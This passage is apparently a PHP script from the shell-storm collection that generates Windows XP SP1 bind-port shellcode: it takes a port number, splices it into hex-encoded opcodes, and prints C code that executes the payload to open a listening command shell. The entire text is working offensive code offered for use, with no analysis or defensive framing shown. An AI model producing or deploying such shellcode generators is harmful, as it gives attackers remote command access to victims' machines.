http://www.shell-storm.org/shellcode/ */ function syntax() { echo "\nSyntax:\nroot@laptop:/# php ./payload.php \n\n"; } function win32bind($port) { if($port > 65535 || $port < 4100){ echo "Erreur Port\nSelect a port between 4100 and 65535\n"; return false; } $inser .= "\nchar shellcode[] = \n"; $inser .= " /* BindPort TCP/$port; Os:XP/SP1; Gen:http://www.shell-storm.org */\n"; $inser .= "\n"; $inser .= " \x22\\x83\\xC4\\xEC\\x33\\xC0\\x50\\x50\\x50\\x6A\\x06\\x6A\\x01\\x6A\\x02\\xB8\x22\n"; $inser .= " \x22\\x01\\x5A\\xAB\\x71\\xFF\\xD0\\x8B\\xD8\\x33\\xC0\\x89\\x45\\xF4\\xB0\\x02\x22\n"; $inser .= " \x22\\x66\\x89\\x45\\xF0\\x66\\xC7\\x45\\xF2"; $inser .= "\\x"; $res_port = base_convert($port, 10, 16); $length = strlen($res_port)-1; $i = 1; for($idx = 0; $idx < $length+1; $idx++) { $i++; if($i == 4) $inser .= "\\x"; $inser .= $res_port[$idx]; } $inser .= "\\x6A\\x10\\x8D\\x55\\xF0\x22\n"; $inser .= " \x22\\x52\\x53\\xB8\\xCE\\x3E\\xAB\\x71\\xFF\\xD0\\x6A\\x01\\x53\\xB8\\xE2\\x5D\x22\n"; $inser .= " \x22\\xAB\\x71\\xFF\\xD0\\x33\\xC0\\x50\\x50\\x53\\xB8\\x8D\\x86\\xAB\\x71\\xFF\x22\n"; $inser .= " \x22\\xD0\\x8B\\xD8\\xBA\\x1D\\x20\\xE8\\x77\\x53\\x6A\\xF6\\xFF\\xD2\\x53\\x6A\x22\n"; $inser .= " \x22\\xF5\\xFF\\xD2\\x53\\x6A\\xF4\\xFF\\xD2\\xC7\\x45\\xFB\\x41\\x63\\x6D\\x64\x22\n"; $inser .= " \x22\\x8D\\x45\\xFC\\x50\\xB8\\x44\\x80\\xC2\\x77\\xFF\\xD0\x22\x3b\n\n"; $inser .= " printf(\x22Length: %d\\n\x22,strlen(shellcode));\n"; $inser .= " (*(void(*)()) shellcode)();\n\n"; return $inser; } if($argc < 2){ syntax(); return false; } $port = $argv[1]; echo win32bind($port); ?>